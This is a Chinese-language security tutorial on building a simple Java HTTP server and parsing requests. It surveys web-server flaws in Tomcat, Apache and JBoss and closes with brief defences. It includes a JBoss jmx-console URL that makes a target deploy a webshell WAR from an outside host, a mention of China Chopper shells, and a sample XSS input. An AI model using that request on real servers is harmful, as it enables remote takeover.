注:在繼后門篇后已經有很長時間沒更新了,這次一打算寫寫Server[1]
的續集。喜歡B/S嗎?那我們今天干脆就來寫一個簡單的“Web服務器”吧。
Web服務器可以解析(handles)HTTP協議。當Web服務器接收到一個HTTP請求(request),會返回一個HTTP響應(response),例如送回一個HTML頁面。
Server篇其實還缺少了JBOSS和Jetty,本打算放到Server[2]
寫的。但是這次重點在于和大家分享B/S實現和交互技術。Server[1]
已經給大家介紹了許多由Java實現 的WebServer相信小伙伴們對Server的概念不再陌生了。Web服務器核心是根據HTTP協議解析(Request)和處理(Response)來自客戶端的請求,怎樣去解析和響應來自客戶端的請求正是我們今天的主題。
?
瀏覽器發送HTTP請求。經Internet連接到對應服務器。服務器解析并處理Http請求,返回處理結果到瀏覽器。瀏覽器解析服務器返回的數據并顯示解析后的網頁。
在學習之前需要了解瀏覽器和Server工作原理,比如什么是HTTP協議什么是Socket。對于更底層的協議暫不提及。
HTTP的發展是萬維網協會(World Wide Web Consortium)和Internet工作小組(Internet Engineering Task Force)合作的結果,(他們)最終發布了一系列的RFC,其中最著名的RFC 2616,定義了HTTP協議中現今廣泛使用的一個版本—HTTP 1.1。
詳情: http://www.w3.org/Protocols/
請求http://www.google.com:
?
客戶端瀏覽器發送了一個HTTP請求, 第一行GET / HTTP/1.1即:以GET方式請求“ /” 目錄HTTP/1.1是請求的HTTP協議版本。而Google返回的則是一個基于HTTP協議的響應,其中包括了狀態碼、內容長度、服務器版本、以及返回內容類型等。客戶端瀏覽器發送了一個請求(HttpRequest),Google服務器返回處理(Handling Request)并響應(HttpResponse)了這個請求。
通俗的說HTTP協議是一種固定的請求格式,只要按照固定的格式去發送請求,服務器就可以按照固定的方式去處理來自客戶端的請求。
Socket是應用層與TCP/IP協議族通信的中間軟件抽象層,它是一組接口。Socket通常也稱作”套接字",用于描述IP地址和端口,是一個通信鏈的句柄。在Internet上的主機一般運行了多個服務軟件,同時提供幾種服務。每種服務都打開一個Socket,并綁定到一個端口上,不同的端口對應于不同的服務。 ?
Oracle提供了一個基礎包:java.net用來實現網絡應用程序開發。提供了阻塞的Socket和、非阻塞的SocketChannel、URL等。 客戶端通過Socket與服務器端建立連接,然后客戶端發送請求內容到服務器。服務器接收到請求返回給客戶端,請求完成后斷開連接。
發送一個非標準的HTTP請求內容為”Hello...”給SAE服務器: ?
請求首先到達了對方監聽80端口的nginx,在發現客戶端發送的內容不符合HTTP請求規范的同時返回了一個400錯誤(400 Bad Request)。 發送一個合法的HTTP請求(不截圖了,把上面的Hello...換成了req),即發送:
"GET / HTTP/1.1\r\n"+
"Host: www.wooyun.org\r\n"+
"Connection: keep-alive\r\n"+
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"+
"Cookie: bdshare_firstime=1387989676924\r\n\r\n”;
服務器返回信息: ?
兩次請求的差異在于是否按照HTTP協議發送,當我們隨意向目標端口發送請求時,返回了一個錯誤請求結果。當發送符合HTTP協議的請求時服務器返回了正確的處理結果。所以只需按照HTTP協議去解析請求和響應即可。與此同時不難看出請求頭的任何內容都是可以偽造的,這也是之前寫cs交互的時候提到為什么不要信任來自客戶端的任意請求的根本原因。現在嘗試著寫一個Server,去解析來自瀏覽器的請求。
除了使用上面的“冗余代碼”去發送HTTP請求,你還可以用oracle自帶的URL包去發送HTTP請求會更加簡單。通過setRequestProperties一樣可以修改請求頭。用getHeaderFields就能獲取到響應頭信息了。
需再一次看下上面Socket流程圖,在服務器上監聽某個端口(listen),等待請求(accept)。一旦有連接到達就開始讀取請求內容(read),然后處理并輸出響應內容(write),最后close。服務器端核心業務是獲取請求、解析請求、處理請求、返回響應。
Server.java核心代碼: ?
瀏覽器請求:http://192.168.199.240:9527/wooyun.jsp?user=yzmm2&pass=123 ?
瀏覽器請求頭:
GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1
Host: 192.168.199.240:9527
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
現在需要做的是解析請求。在Server里面有一段解析請求的代碼:Request req = new Request().parserRequest(sb.toString());//
解析請求。具體的需要解析的內容包括:請求頭(Header)、請求參數(Parameter)、請求的URI(RequestURI)等。如果是文件上傳請求的話還得解析具體的內容(form-data)。 在解析的整個過程沒看過RFC文檔,只是根據個人理解去實現請求解析,有不對的地方見諒。
首先用換行符切開請求頭,得到如下結果:GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1
。可見這里是按空格隔開的,用正則的\s就可以切開了當前行了。這樣就能簡單的拿到:[GET, /wooyun.jsp?user=yzmm&pass=123, HTTP/1.1]
把他們保存到類的成員變量以便后面調用。
解析請求頭比較簡單,只需把請求頭內容按照key、value方式解析出來就行了。比如:Host: localhost:9527
,解析后就成了key=Host,value=localhost:9527
。parserGET方法就更簡單了,把 /wooyun.jsp?user=yzmm&pass=123
以”?”號切開后再以”=”號切開,最終得到的是key=user,value=yzmm、key=pass,value=123
。
?
? 處理結果都裝在了如下變量:
#!java
private String method;
private String queryString;
private String requstURI;
private String host;
private Map<String, Object> formContent = new LinkedHashMap<String, Object>();
private Map<String, Object> header = new LinkedHashMap<String, Object>();
private Map<String, Object> parameter = new LinkedHashMap<String, Object>();
private Map<String, Object> multipart = new LinkedHashMap<String, Object>();
如果想取出請求參數可以用parameter.get(“xxxx”)就行了,是不是跟javaee有那么些相似了?當請求解析完成后需要去加載請求的文件,比如這里的wooyun.jsp。
當請求處理完后調用getResponse方法把結果輸出到瀏覽器:
#!java
public String getResponse(String content){
return "HTTP/1.1 200 OK\r\n"+
"server: "+Constants.SYS_CONFIG_NAME+"\r\n"+
"Date: "+new Date()+"\r\n"+
"X-Powered-By-yzmm: "+Constants.SYS_CONFIG_VERSION+"\r\n"+
"Content-Type: text/html\r\n"+
"Content-Length: "+(content!=null?content.length():0)+"\r\n\r\n"+
content;
}
從上可見服務器的響應信息也是可以任意的。比如我修改了響應中的server的值你就會在瀏覽器的Response當中看到當前的server是: z7y-server。出現在響應頭里面有意思的漏洞有:CRLF注入,有興趣的小伙伴兒可以了解下。
文件上傳請求和普通的GET、POST不一樣,在JavaEE里面會把multipart請求封裝成一個InputStream對象。如果想要從請求里面解析具體的文件內容需要讀取流。值得注意的是multipart/form-data中的input域也會包含在InputStream里面。在JavaEE里面可以用:request.getInputStream();或request.getReader();方法獲取。
#!html
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>File Upload</title>
</head>
<body>
<form action="http://192.168.199.240:9527/wooyun.jsp?user=zsy&pass=123" method="post" enctype="multipart/form-data">
1<input type="checkbox" value="1" name="i" checked="checked" /> 2<input type="checkbox" value="2" name="i" checked="checked" /><br/>
<input type="file" name="file" /><br/>
<input type="text" value="<script>alert('你好.');</script>" name="name" style="width:250px;" / ><br/>
<input type="submit" value="sub" />
</form>
</body>
</html>
文件域下方Content-Type: text/html實際上隱藏了upload.html的內容,chrome不會在那兒顯示。判定一個請求是否是文件上傳只需從請求頭里面取出Content-Type就行了,如果type是multipart/form-data;即標識當前請求類型是文件上傳。
關于文件上傳請求解析,我寫的比較粗暴了。按照分割線分別把內容域和文件域提取出來,并封裝到multipart map里面,它們的key分別是file和para。 ?
寫文件到”服務器”: ?
值得注意的是假如一個文件上傳和input域同時出現的情況下,跨站和Sql注入幾率會非常的高。因為文件上傳會把input域的請求參數封裝到流里面,很多時候并沒有人會去處理這樣的惡意請求。
類似的案例: WooYun: 360網站寶/安全寶/加速樂及其他類似產品防護繞過缺陷之一 。漏洞提交者在文件上傳請求中傳遞了SQL注入語句,而上面的安全軟件的攔截都失效了。。。
據說在PHP里面還存在另外一個問題,文件上傳的input域請求會被解析到對應的POST請求對象當中。那么也就是說假設一個站攔截了普通的GET、POST請求,但是沒有攔截文件上傳的惡意請求。僅需要簡單的構造一個上傳并傳遞注入語句就繞過了所謂的防御了。
在Servlet里面一個Servlet映射的是一個虛擬的路徑。比如請求:http://xxx /servlet/hello。這個servlet/hello并不是一個實際存在的文件地址。所以我們請求的wooyun.jsp可以是真實存在的一個文件,也可以是一個虛擬的路徑。比如當客戶端請求wooyun.jsp的時候我們把請求交給Controller去處理(仿MVC): ?
而我們的控制層假設做了一個請求校驗:當user等于yzmm的時候輸出Good!,否則輸出Error. ?
分別請求:http://192.168.199.240:9527/wooyun.jsp?user=yzmm&pass=123和user=zsy輸出都是正常的。 ?
假如用戶請求的不是虛擬路徑而是一個實際存在的文件呢?這個時候就需要把服務器的文件內容讀取并返回給客戶端。比如把Contoller注掉改為content = readFile(request);這次去讀取ROOT下的wooyun.jsp內容。 ?
這次輸出了”用戶目錄/webapps/zsy/ROOT/wooyun.jsp”內容。
服務器在處理請求或其本身可能存在一些安全問題。經典的比如IIS、Nginx解析漏洞。那么是什么原因讓Server變得這么”不安全”呢?
在之前的系列里面講過如果把Tomcat的web.xml的filter添加任意后綴到servlet-name為jsp的Servlet當中,那么所有后綴為.txt的請求都會被當作jsp解析! ?
假設Tomcat在寫正則的時候一不小心寫成了:
#!java
Pattern.compile("\\.jsp").matcher("1.jsp.jpg").find();
那么所有的1.jsp.jpg的請求都會交給jsp對應的servlet處理。跟這類似的漏洞apache曾經就出現過。問題是apache如果在mime.types文件里面沒有定義的擴展名,會給解析成倒數第二個定義的擴展名。
好吧,這個Tomcat做的有點奇葩。在某些低版本的Tomcat當請求目錄并沒有找到對應的索引文件,且web.xml的listings是true。于是Tom貓就干脆列出這個目錄的所有文件。
Tomcat還出過另一個低級漏洞,當請求的文件是UTF-8編碼的時候會造成任意文件遍歷漏洞。觸發的條件為Apache Tomcat的配置文件context.xml 或 server.xml 的'allowLinking' 和 'URIencoding' 允許'UTF-8'選項
很多時候需要在線上部署一個新的應用時可以在Server的控制臺去動態的部署一個war文件(其實就是一個壓縮文件包)。Server會自動解壓并部署。這雖說是非常的方便,但是卻因為Server各自的實現不一或者自身安全意思淡漠導致任意的war文件都可以遠程部署到Server中去。這里面的典型代表就是Jboss。請求:
http://192.168.0.113:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://www.ahack.net/iswin.war
成功后訪問:http://192.168.0.113:8080/iswin/index.jsp
菜刀連接(默認包含index.jsp、index.jspx、index.jspf、cmd.jsp三個shell)。
測試版本:jboss-6.1.0.Final。http://p2j.cn/?p=342
控制臺輸出信息: ?
這貨去年十月還出過一個高危的漏洞,同樣是遠程war部署。
Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object RCE
詳情: http://www.exploit-db.com/exploits/28713/ http://zone.wooyun.org/content/7398
除了上述漏洞某些Server還出過拒絕服務漏洞、控制臺弱口令漏洞、爆路徑漏洞、WebDAV、XSS等漏洞。可謂想做好一個WebServer是非常的艱難。
在總結了之前的Server安全問題之后,我們有沒有想過怎么去防御來自客戶端的攻擊呢?我們應該如何去防御?這里僅簡要介紹防范思路至于防御細節,對不起請自行實現。
防御方式:
1、由遠及近,從CDN層我們可以攔截所有的惡意請求。可以嘗試在請求到達服務器之前凈化請求信息。
2、從網絡層可以用硬防處理惡意請求。
3、從服務器層可以寫對應的Server拓展(Filter)攔截惡意請求。
4、安裝服務器安全軟件。
5、在應用層需要盡可能的注重代碼編寫,如果無法確保安全性可以在應用層寫一個安全過濾器。
從實現的角度來說前兩者的成本較高,效果或許并不會特別明顯,后面幾種方式顯得更輕。
這一期可以說是對Server篇的補充吧,源碼沒什么水平有興趣的朋友可以看看(下載地址:http://pan.baidu.com/s/1qW2Nwx2 )。希望大家看過笑笑之后更加“深入”的了解Request和Response吧。原打算寫個簡易瀏覽器也沒時間了。快過年了,祝小伙伴們新年快樂!